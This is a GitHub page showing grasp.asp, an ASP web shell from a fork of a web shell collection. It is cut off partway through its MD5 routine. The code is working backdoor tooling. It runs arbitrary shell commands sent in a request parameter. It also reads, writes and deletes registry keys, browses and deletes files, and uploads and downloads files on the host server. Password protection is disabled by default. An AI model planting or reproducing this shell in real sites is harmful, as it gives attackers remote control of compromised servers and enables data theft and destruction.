forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgrasp.asp
1156 lines (1092 loc) · 42.5 KB
/
grasp.asp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ Language = VBScript
CodePage = 1252 %>
<%
Option Explicit
'/* --- Options --- */
Server.ScriptTimeout = 360 ' Seconds
Session.Timeout = 5 ' Minutes
Response.Expires = -1 ' Minutes (expires immediately)
Private sMD5Hash ' MD5("HitU")
''sMD5Hash = "F74648612C416B4CE4B9B36C10B10A11" ' Leave it empty to turn off password protection
'Session.Abandon ' Terminates last session, prevents hangups
'On Error Resume Next ' Proceed to the next line on error
' Global variables:
Private WShell, WNetwork, WEnv, FSO, BinStream
Private sURL, sCmd, bBgMode, bSI, sKey, sKeyFunc, sKeyValue, sKeyType
Private sDir, sDel, sDL, sPasswd
' Create COM objects:
Set WShell = Server.CreateObject("WSCRIPT.SHELL")
Set WNetwork = Server.CreateObject("WSCRIPT.NETWORK")
Set WEnv = WShell.Environment("Process")
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
' Process script args:
sURL = Request.ServerVariables("URL") ' Script relative addr.
sCmd = Request("CMD") ' Shell: command
bBgMode = Request("CMD_M") ' Shell: mode
bSI = Request("SI") ' Server info
sKey = Request("RKEY") ' Reg editor: key
sKeyFunc = Request("RKEY_F") ' Reg editor: function
sKeyValue = Request("RKEY_V") ' Reg editor: value
sKeyType = Request("RKEY_T") ' Reg editor: type
sDir = Request("DIR") ' Directory listing: path
sDel = Request("DEL") ' Directory listing: delete item
sDL = Request("DL") ' Download: file path
sPasswd = Request("PWD") ' Password: clear text
' Set default mode:
If ( IsEmpty(sCmd) And _
IsEmpty(bSI) And _
IsEmpty(sKey) And _
IsEmpty(sDir) ) Then
sDir = ""
End If
'/* --- Routines --- */
' Executes command and passes stdout to browser.
' Can start the process in background mode.
Private Sub ExecuteCmd(ByVal sCommand, ByVal bBg)
Dim Pipe, RetCode
On Error Resume Next
If ( bBg <> "" ) Then
RetCode = WShell.Run("%comspec% /c " & sCommand & " 2>&1", 0, False)
Response.Write("Returned: " & RetCode)
Else
Set Pipe = WShell.Exec("%comspec% /c " & sCommand & " 2>&1")
While( Not Pipe.StdOut.AtEndOfStream )
Response.Write(Server.HTMLEncode(Pipe.StdOut.ReadAll()))
WEnd
Response.Write("Returned: " & Pipe.ExitCode)
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
Set Pipe = nothing
Set RetCode = nothing
End Sub
' Returns first word from the string. Used in shell page title.
Private Function GetFirstWord(ByVal sStr)
Dim Word
If ( Len(sStr) <> 0 ) Then
Word = Split(sStr)
GetFirstWord = Word(0)
Else
GetFirstWord = "[ Shell ]"
End if
Set Word = nothing
End Function
' Changes empty string to nbsp. Useful while building HTML tables.
Private Function EmptyToNbsp(ByVal sStr)
If ( sStr = "" ) Then
sStr = " "
End If
EmptyToNbsp = sStr
End Function
' Converts unicode string to byte string.
Private Function CStrB(ByRef sUnicodeStr)
Dim nPos
For nPos = 1 To Len(sUnicodeStr)
CStrB = CStrB & ChrB( AscB( Mid(sUnicodeStr, nPos, 1)))
Next
End Function
' Converts byte string to unicode string.
Private Function CStrU(ByRef sByteStr)
Dim nPos
For nPos = 1 To LenB(sByteStr)
CStrU = CStrU & Chr( AscB( MidB(sByteStr, nPos, 1)))
Next
End Function
' Returns string, containing HTML table with drives info.
Private Function ShowDrivesInfo()
On Error Resume Next
Dim Drive, Share, Str
' Table header:
Str = "<table border='1' cellspacing='0' cellpadding='2' width='600'>" & _
"<tr align='center'><th colspan='9'>Drives Info</th></tr>" & _
"<tr align='center'><th>Drive</th><th>Type</th><th>Label</th>" & _
"<th>Filesystem</th><th>Size[Mb]</th><th>Avail[Mb]</th><th>Free[Mb]</th>" & _
"<th>Shared</th><th>Ready</th></tr>"
' Enumerate drives:
For Each Drive in FSO.Drives
Str = Str & "<tr align='center' class='drv'><td>" & Drive.DriveLetter & "</td>"
Select Case Drive.DriveType
Case 0: Str = Str & "<td>Unknown</td>"
Case 1: Str = Str & "<td>Removable</td>"
Case 2: Str = Str & "<td>Fixed</td>"
Case 3: Str = Str & "<td>Network</td>"
Case 4: Str = Str & "<td>CD-ROM</td>"
Case 5: Str = Str & "<td>RAM Disk</td>"
End Select
' Prevents from 500 - "drive not ready" error:
If Drive.IsReady Then
Str = Str & "<td>" & EmptyToNbsp(Drive.VolumeName) & "</td>"
Str = Str & "<td>" & Drive.FileSystem & "</td>"
Str = Str & "<td>" & FormatNumber(Drive.TotalSize / 1048576, 0) & "</td>"
Str = Str & "<td>" & FormatNumber(Drive.AvailableSpace / 1048576, 0) & "</td>"
Str = Str & "<td>" & FormatNumber(Drive.FreeSpace / 1048576, 0) & "</td>"
Else
Str = Str & "<td>-</td><td>-</td><td>-</td><td>-</td><td>-</td>"
End If
If (Drive.ShareName = "") Then
Str = Str & "<td>-</td>"
Else
Str = Str & "<td>" & Drive.ShareName & "</td>"
End If
Str = Str & "<td>" & Drive.IsReady & "</td></tr>"
Next
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
Err.Clear
End If
ShowDrivesInfo = Str & "</table>"
Set Drive = nothing
Set Share = nothing
Set Str = nothing
End Function
' Provides interface for registry read/write/delete functions.
Private Function RegEditor(ByVal sKey, ByVal sKeyValue, ByVal sKeyType, ByVal sKeyFunc)
On Error Resume Next
Select Case sKeyFunc
Case "Read" Response.Write(WShell.RegRead(sKey))
Case "Write"
If ( sKeyType = "REG_SZ" or _
sKeyType = "REG_DWORD" or _
sKeyType = "REG_BINARY" or _
sKeyType = "REG_EXPAND_SZ" ) Then
If ( Not IsEmpty(sKeyValue) ) Then
Response.Write(WShell.RegWrite(sKey, sKeyValue, sKeyType))
Else
Response.Write("Key value is not defined.")
End If
Else
Response.Write("Improper key type.")
End If
Case "Delete" Response.Write(WShell.RegDelete(sKey))
Case Else Response.Write("Improper function value.")
End Select
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write( "Error: '" & Err.Description & "' at " & Err.Source & " [" & Err.Number & "]" )
Err.Clear
Else
Response.Write("Successfully performed the operation.")
End If
End Function
' Returns directory path without trailing slash.
Private Function GetCorrectPath(ByVal sDir)
Dim sDirPath
' Starting folder:
If ( sDir = "" ) Then
sDir = Server.MapPath(".")
End If
' Get correct folder path:
If ( FSO.FolderExists(sDir) ) Then
sDirPath = FSO.GetFolder(sDir).Path
Else
sDirPath = sDir
End If
GetCorrectPath = sDirPath
Set sDirPath = nothing
End Function
' Returns string with HTML table.
Private Function ShowDirectoryList(ByVal sDir)
On Error Resume Next
Dim sDirPath, Str, Folder, Item, Attr
sDirPath = GetCorrectPath(sDir)
Set Folder = FSO.GetFolder(sDirPath)
' Path input field:
Str = "<center><form name='path' action='" & sURL & "' method='POST'>" & _
"<input name='DIR' type='text' style='width:80%;' value='" & sDirPath & "'>" & _
" <input type='submit' class='button' value='Go'></form><br>"
' Check the path:
If ( Not FSO.FolderExists(sDirPath) ) Then
ShowDirectoryList = Str & "Folder <b>" & sDirPath & "</b> doesn't exist.<br>"
Exit Function
End If
' Table header:
Str = Str & "Contents of <b>" & sDirPath & "</b><br><br>" & _
"<form name='items' action='" & sURL & "' method='POST'>" & _
"<input name='DIR' type='hidden' value='" & sDirPath & "'>" & _
"<input name='DEL' type='hidden' value=''>" & _
"<table border='1' cellpadding='0' cellspacing='0' width='90%'>" & _
"<tr><th> </th><th>Name</th><th>Size[b]</th>" & _
"<th>Date Created</th><th>Attributes</th><th>Type</th></tr>"
' Parent directory:
If ( Not Folder.IsRootFolder ) Then
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _
"<td> </td>" & _
"<td class='dir' onclick='go("".."");'><..></td>" & _
"<td> </td>" & _
"<td> </td>" & _
"<td> </td>" & _
"<td>Parent Folder</td></tr>" & vbCRLF
End If
' Directories:
For Each Item In Folder.SubFolders
If ( Item.Attributes And 1 ) Then
Attr = "R(" & Item.Attributes & ")"
Else
Attr = "RW(" & Item.Attributes & ")"
End If
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""' class='dir'>" & _
"<td><input type='button' class='button' style='width:28;'" & _
" value='Del' onclick='del(""" & Item.Name & "\\"");'></td>" & _
"<td class='dir' onclick='go(""" & Item.Name & """);'>" & _
"<" & Item.Name & "></td>" & _
"<td>" & FormatNumber(Item.Size, 0) & "</td>" & _
"<td>" & Item.DateCreated & "</td>" & _
"<td>" & Attr & "</td>" & _
"<td>" & Item.Type & "</td></tr>" & vbCRLF
Next
' Files:
For Each Item In Folder.Files
' Add cacls?
If ( Item.Attributes And 1 ) Then
Attr = "R(" & Item.Attributes & ")"
Else
Attr = "RW(" & Item.Attributes & ")"
End If
Str = Str & "<tr onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""' class='file'>" & _
"<td><input type='button' class='button' style='width:28;'" & _
" value='Del' onclick='del(""" & Item.Name & """);'></td>" & _
"<td class='file' onclick='dl(""" & Item.Name & """);'>" & _
Item.Name & "</td>" & _
"<td>" & FormatNumber(Item.Size, 0) & "</td>" & _
"<td>" & Item.DateCreated & "</td>" & _
"<td>" & Attr & "</td>" & _
"<td>" & Item.Type & "</td></tr>" & vbCRLF
Next
Str = Str & "</table></form><br><br>"
' Download form:
Str = Str & "<form name='download' action='" & sURL & "' method='POST'>" & _
"<input name='DL' type='hidden' value='" & sDirPath & "'></form>" & _
"<form name='upload' enctype='multipart/form-data' action='" & sURL & "' method='POST'>" & _
"<input name='UL' type='hidden' value='" & sDirPath & "'>" & _
"<input name='FILE' type='file' style='width:80%;'> " & _
"<input type='submit' class='button' value='Upload'></form><br><br></center>"
' Error handling:
If ( Err.Number <> 0 ) Then
Str = Str & "<center>Error: '" & Err.Description & "' [" & Err.Number & "]</center><br><br>"
Err.Clear
End If
ShowDirectoryList = Str
Set sDirPath = nothing
Set Str = nothing
Set Folder = nothing
Set Item = nothing
Set Attr = nothing
End Function
' Upload FSO buffering.
Private Function BufferContent(ByRef Data)
Dim sContent(64), i
ClearString(sContent)
For i = 1 To LenB(Data)
AddString sContent, Chr(AscB (MidB (Data, i, 1)))
Next
BufferContent = ReadString(sContent)
End Function
Private Sub ClearString(ByRef sPart)
Dim nIdx
For nIdx = 0 to 64
sPart(nIdx) = ""
Next
End Sub
Private Sub AddString(ByRef sPart, ByRef Str)
Dim Tmp, nIdx
sPart(0) = sPart(0) & Str
If ( Len(sPart(0)) > 64 ) Then
nIdx = 0
Tmp = ""
Do
Tmp = sPart(nIdx) & Tmp
sPart(nIdx) = ""
nIdx = nIdx + 1
Loop Until sPart(nIdx) = ""
sPart(nIdx) = Tmp
End If
End Sub
Private Function ReadString(ByRef sPart)
Dim Tmp, nIdx
Tmp = ""
For nIdx = 0 to 64
If ( sPart(nIdx) <> "" ) Then
Tmp = sPart(nIdx) & Tmp
End If
Next
ReadString = Tmp
End Function
' Saves uploaded file.
Private Sub UploadFile()
Dim BinData, nObjStartPos, nObjEndPos, nStartPos, nEndPos, sBoundary
Dim sFileName, sSavePath, nFileLen, BinFile, PostBinStream
On Error Resume Next
Err.Clear
BinData = Request.BinaryRead(Request.TotalBytes)
' Get the boundary:
nStartPos = 1
nEndPos = InStrB(nStartPos, BinData, CStrB(vbCR))
If ( nEndPos > nStartPos ) Then
sBoundary = MidB(BinData, nStartPos, nEndPos - nStartPos)
Else
Response.Write("Error: Boundary is not defined.")
StopScript
End If
' Get the upload directory("UL"):
nObjStartPos = InStrB(1, BinData, sBoundary)
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary)
nStartPos = InStrB(nObjStartPos, BinData, CStrB("name=""UL"""))
If ( nStartPos > nObjStartPos And nStartPos < nObjEndPos ) Then
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
' nStartPos + 13 -> name="UL"+ 0x0D + 0x0A + 0x0D + 0x0A
sDir = CStrU(MidB(BinData, nStartPos + 13, nEndPos - nStartPos - 13))
Else
Response.Write("Error: Upload directory(""UL"") is not defined.")
StopScript
End If
' Get file's binary data:
nObjStartPos = nObjEndPos
nObjEndPos = InStrB(nObjStartPos + 1, BinData, sBoundary & CStrB("--"))
nStartPos = InStrB(nObjStartPos + 1, BinData, CStrB("name=""FILE"""))
If ( nStartPos > 0 And nObjEndPos > nObjStartPos ) Then
' Get the filename:
nStartPos = InStrB(nStartPos, BinData, CStrB("filename="""))
nEndPos = InStrB(nStartPos + 10, BinData, CStrB(""""))
If ( nStartPos + 10 = nEndPos Or nStartPos = 0 ) Then
Response.Write("Uploaded: 0 bytes [Empty filename] ")
Exit Sub
End If
sFileName = CStrU(MidB(BinData, nStartPos + 10, nEndPos - nStartPos - 10))
' Change all '/' to '\':
sFileName = Replace(sFileName, "/", "\")
sFileName = Right(sFileName, Len(sFileName) - InStrRev(sFileName, "\"))
sFileName = Trim(sFileName)
' Skip Content-Type:
nStartPos = InStrB(nEndPos, BinData, CStrB("Content-Type:"))
nEndPos = InStrB(nStartPos + 13, BinData, CStrB(vbCR))
If ( nStartPos = 0 or nEndPos = 0 ) Then
Response.Write("Error: Content-Type is not defined.")
StopScript
End If
' Skip CRLFs and set pointers to file's binary data:
nStartPos = nEndPos + 3
nEndPos = nObjEndPos - 3
nFileLen = nEndPos - nStartPos
BinFile = MidB(BinData, nStartPos + 1, nFileLen)
sSavePath = FSO.BuildPath(sDir, sFileName)
' Save binary data into the destination file:
SetLocale(1033)
Err.Clear
Set PostBinStream = Server.CreateObject("ADODB.Stream")
Set BinStream = Server.CreateObject("ADODB.Stream")
If ( Err.Number = 0 ) Then
PostBinStream.Type = 1 ' adTypeBinary
PostBinStream.Open()
PostBinStream.Write(BinData)
PostBinStream.Position = nStartPos
BinStream.Type = 1
BinStream.Open()
PostBinStream.CopyTo BinStream, nFileLen
' Overwrites file:
BinStream.SaveToFile sSavePath, 2
BinStream.Close()
PostBinStream.Close()
Else
Err.Clear
' Use FSO (only text data), if ADO.Stream is not there:
Set BinStream = FSO.CreateTextFile(sSavePath, True)
BinStream.Write(BufferContent(BinFile))
BinStream.Close()
End If
Response.Write("Uploaded: " & FormatNumber(nFileLen, 0) & " bytes [""" & sSavePath & """] ")
Else
Response.Write("Error: File's binary data parse error.")
StopScript
End If
' Error handling:
If ( Err.Number <> 0 ) Then
Response.Write("Error: '" & Err.Description & "' [" & Err.Number & "]")
Err.Clear
End If
' Free mallocs ;)
Set BinData = nothing : Set nObjStartPos = nothing
Set nObjEndPos = nothing : Set nStartPos = nothing
Set nEndPos = nothing : Set sBoundary = nothing
Set sFileName = nothing : Set sSavePath = nothing
Set nFileLen = nothing : Set BinFile = nothing
Set PostBinStream = nothing
End Sub
' Generates script navigation HTML string.
Private Function InsertNavBar()
Dim Str
Str = "<center><form name='nav' action='" & sURL & "' method='POST'>" & _
"<input name='change' type='hidden' value=''></form>< " & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""DIR"";document.nav.submit()'>" & _
"Directory Listing</span> | " & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""CMD"";document.nav.submit()'>" & _
"Shell</span> | " & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""RKEY"";document.nav.submit()'>" & _
"Registry Editor</span> | " & _
"<span class='link' onMouseOver='this.style.backgroundColor=""#eeeeee""'" & _
" onMouseOut='this.style.backgroundColor=""""'" & _
" onclick='document.nav.change.name=""SI"";document.nav.submit()'>" & _
"Server Info</span> ></center><br><br>"
InsertNavBar = Str
Set Str = nothing
End Function
' Generates auth. page and checks for proper password.
Private Function CheckAuth(ByVal sPasswd)
Dim Str
If ( sMD5Hash = "" ) Then
Exit Function
End If
' Save the hash in a session variable:
If ( Not IsEmpty(sPasswd) ) Then
Session("Auth") = MD5(sPasswd)
End If
' Check the password:
If ( IsEmpty(Session("Auth")) ) Then
Str = "<html><head><title>Authentication</title></head><body><center>" & _
"Enter the password: <form name='download' action='" & sURL & "' method='POST'>" & _
"<input name='PWD' type='text' style='width:80%;' value=''> " & _
"<input type='submit' value='Submit'></form></body></html>"
Response.Write(Str)
Session.Abandon
StopScript
Else
If ( UCase(Session("Auth")) <> UCase(sMD5Hash) ) Then
Response.Write("Bad password or session has timed out.")
Session.Abandon
StopScript
End If
End If
End Function
' MD5 Routines.
' Ripped from frez.co.uk
Private Const BITS_TO_A_BYTE = 8
Private Const BYTES_TO_A_WORD = 4
Private Const BITS_TO_A_WORD = 32
Private m_lOnBits(30)
Private m_l2Power(30)
m_lOnBits(0) = CLng(1)
m_lOnBits(1) = CLng(3)
m_lOnBits(2) = CLng(7)
m_lOnBits(3) = CLng(15)
m_lOnBits(4) = CLng(31)
m_lOnBits(5) = CLng(63)
m_lOnBits(6) = CLng(127)
m_lOnBits(7) = CLng(255)
m_lOnBits(8) = CLng(511)
m_lOnBits(9) = CLng(1023)
m_lOnBits(10) = CLng(2047)
m_lOnBits(11) = CLng(4095)
m_lOnBits(12) = CLng(8191)
m_lOnBits(13) = CLng(16383)
m_lOnBits(14) = CLng(32767)
m_lOnBits(15) = CLng(65535)
m_lOnBits(16) = CLng(131071)
m_lOnBits(17) = CLng(262143)
m_lOnBits(18) = CLng(524287)
m_lOnBits(19) = CLng(1048575)
m_lOnBits(20) = CLng(2097151)
m_lOnBits(21) = CLng(4194303)
m_lOnBits(22) = CLng(8388607)
m_lOnBits(23) = CLng(16777215)
m_lOnBits(24) = CLng(33554431)
m_lOnBits(25) = CLng(67108863)
m_lOnBits(26) = CLng(134217727)
m_lOnBits(27) = CLng(268435455)
m_lOnBits(28) = CLng(536870911)
m_lOnBits(29) = CLng(1073741823)
m_lOnBits(30) = CLng(2147483647)
m_l2Power(0) = CLng(1)
m_l2Power(1) = CLng(2)
m_l2Power(2) = CLng(4)
m_l2Power(3) = CLng(8)
m_l2Power(4) = CLng(16)
m_l2Power(5) = CLng(32)
m_l2Power(6) = CLng(64)
m_l2Power(7) = CLng(128)
m_l2Power(8) = CLng(256)
m_l2Power(9) = CLng(512)
m_l2Power(10) = CLng(1024)
m_l2Power(11) = CLng(2048)
m_l2Power(12) = CLng(4096)
m_l2Power(13) = CLng(8192)
m_l2Power(14) = CLng(16384)
m_l2Power(15) = CLng(32768)
m_l2Power(16) = CLng(65536)
m_l2Power(17) = CLng(131072)
m_l2Power(18) = CLng(262144)
m_l2Power(19) = CLng(524288)
m_l2Power(20) = CLng(1048576)
m_l2Power(21) = CLng(2097152)
m_l2Power(22) = CLng(4194304)
m_l2Power(23) = CLng(8388608)
m_l2Power(24) = CLng(16777216)
m_l2Power(25) = CLng(33554432)
m_l2Power(26) = CLng(67108864)
m_l2Power(27) = CLng(134217728)
m_l2Power(28) = CLng(268435456)
m_l2Power(29) = CLng(536870912)
m_l2Power(30) = CLng(1073741824)
Private Function LShift(ByVal lValue, ByVal iShiftBits)
If ( iShiftBits = 0 ) Then
LShift = lValue
Exit Function
ElseIf ( iShiftBits = 31 ) Then
If lValue And 1 Then
LShift = &H80000000
Else
LShift = 0
End If
Exit Function
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
Err.Raise(6)
End If
If ( lValue And m_l2Power(31 - iShiftBits) ) Then
LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
Else
LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
End If
End Function
Private Function RShift(lValue, iShiftBits)
If ( iShiftBits = 0 ) Then
RShift = lValue
Exit Function
ElseIf ( iShiftBits = 31 ) Then
If ( lValue And &H80000000 ) Then
RShift = 1
Else
RShift = 0
End If
Exit Function
ElseIf ( iShiftBits < 0 Or iShiftBits > 31 ) Then
Err.Raise(6)
End If
RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
If ( lValue And &H80000000 ) Then
RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End If
End Function
Private Function RotateLeft(lValue, iShiftBits)
RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
Private Function AddUnsigned(lX, lY)
Dim lX4, lY4, lX8, lY8, lResult
lX8 = lX And &H80000000
lY8 = lY And &H80000000
lX4 = lX And &H40000000
lY4 = lY And &H40000000
lResult = (lX And &H3FFFFFFF) + (lY And &H3FFFFFFF)
If ( lX4 And lY4 ) Then
lResult = lResult Xor &H80000000 Xor lX8 Xor lY8
ElseIf ( lX4 Or lY4 ) Then
If ( lResult And &H40000000 ) Then
lResult = lResult Xor &HC0000000 Xor lX8 Xor lY8
Else
lResult = lResult Xor &H40000000 Xor lX8 Xor lY8
End If
Else
lResult = lResult Xor lX8 Xor lY8
End If
AddUnsigned = lResult
End Function
Private Function F(x, y, z)
F = (x And y) Or ((Not x) And z)
End Function
Private Function G(x, y, z)
G = (x And z) Or (y And (Not z))
End Function
Private Function H(x, y, z)
H = (x Xor y Xor z)
End Function
Private Function I(x, y, z)
I = (y Xor (x Or (Not z)))
End Function
Private Sub FF(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub GG(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub HH(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Sub II(a, b, c, d, x, s, ac)
a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac))
a = RotateLeft(a, s)
a = AddUnsigned(a, b)
End Sub
Private Function ConvertToWordArray(sMessage)
Dim lMessageLength, lNumberOfWords, lWordArray(), lBytePosition, lByteCount, lWordCount
Const MODULUS_BITS = 512
Const CONGRUENT_BITS = 448
lMessageLength = Len(sMessage)
lNumberOfWords = (((lMessageLength + ((MODULUS_BITS - CONGRUENT_BITS) \ BITS_TO_A_BYTE)) \ (MODULUS_BITS \ BITS_TO_A_BYTE)) + 1) * (MODULUS_BITS \ BITS_TO_A_WORD)
ReDim lWordArray(lNumberOfWords - 1)
lBytePosition = 0
lByteCount = 0
Do Until lByteCount >= lMessageLength
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(Asc(Mid(sMessage, lByteCount + 1, 1)), lBytePosition)
lByteCount = lByteCount + 1
Loop
lWordCount = lByteCount \ BYTES_TO_A_WORD
lBytePosition = (lByteCount Mod BYTES_TO_A_WORD) * BITS_TO_A_BYTE
lWordArray(lWordCount) = lWordArray(lWordCount) Or LShift(&H80, lBytePosition)
lWordArray(lNumberOfWords - 2) = LShift(lMessageLength, 3)
lWordArray(lNumberOfWords - 1) = RShift(lMessageLength, 29)
ConvertToWordArray = lWordArray
End Function
Private Function WordToHex(lValue)
Dim lByte, lCount
For lCount = 0 To 3
lByte = RShift(lValue, lCount * BITS_TO_A_BYTE) And m_lOnBits(BITS_TO_A_BYTE - 1)
WordToHex = WordToHex & Right("0" & Hex(lByte), 2)
Next
End Function
Private Function MD5(sMessage)
Dim x, k, AA, BB, CC, DD, a, b, c, d
Const S11 = 7
Const S12 = 12
Const S13 = 17
Const S14 = 22
Const S21 = 5
Const S22 = 9
Const S23 = 14
Const S24 = 20
Const S31 = 4
Const S32 = 11
Const S33 = 16
Const S34 = 23
Const S41 = 6
Const S42 = 10
Const S43 = 15
Const S44 = 21
x = ConvertToWordArray(sMessage)
a = &H67452301
b = &HEFCDAB89
c = &H98BADCFE
d = &H10325476
For k = 0 To UBound(x) Step 16
AA = a
BB = b
CC = c
DD = d
FF a, b, c, d, x(k + 0), S11, &HD76AA478
FF d, a, b, c, x(k + 1), S12, &HE8C7B756
FF c, d, a, b, x(k + 2), S13, &H242070DB
FF b, c, d, a, x(k + 3), S14, &HC1BDCEEE
FF a, b, c, d, x(k + 4), S11, &HF57C0FAF
FF d, a, b, c, x(k + 5), S12, &H4787C62A
FF c, d, a, b, x(k + 6), S13, &HA8304613
FF b, c, d, a, x(k + 7), S14, &HFD469501
FF a, b, c, d, x(k + 8), S11, &H698098D8
FF d, a, b, c, x(k + 9), S12, &H8B44F7AF
FF c, d, a, b, x(k + 10), S13, &HFFFF5BB1
FF b, c, d, a, x(k + 11), S14, &H895CD7BE
FF a, b, c, d, x(k + 12), S11, &H6B901122
FF d, a, b, c, x(k + 13), S12, &HFD987193
FF c, d, a, b, x(k + 14), S13, &HA679438E
FF b, c, d, a, x(k + 15), S14, &H49B40821
GG a, b, c, d, x(k + 1), S21, &HF61E2562
GG d, a, b, c, x(k + 6), S22, &HC040B340
GG c, d, a, b, x(k + 11), S23, &H265E5A51
GG b, c, d, a, x(k + 0), S24, &HE9B6C7AA
GG a, b, c, d, x(k + 5), S21, &HD62F105D
GG d, a, b, c, x(k + 10), S22, &H2441453
GG c, d, a, b, x(k + 15), S23, &HD8A1E681
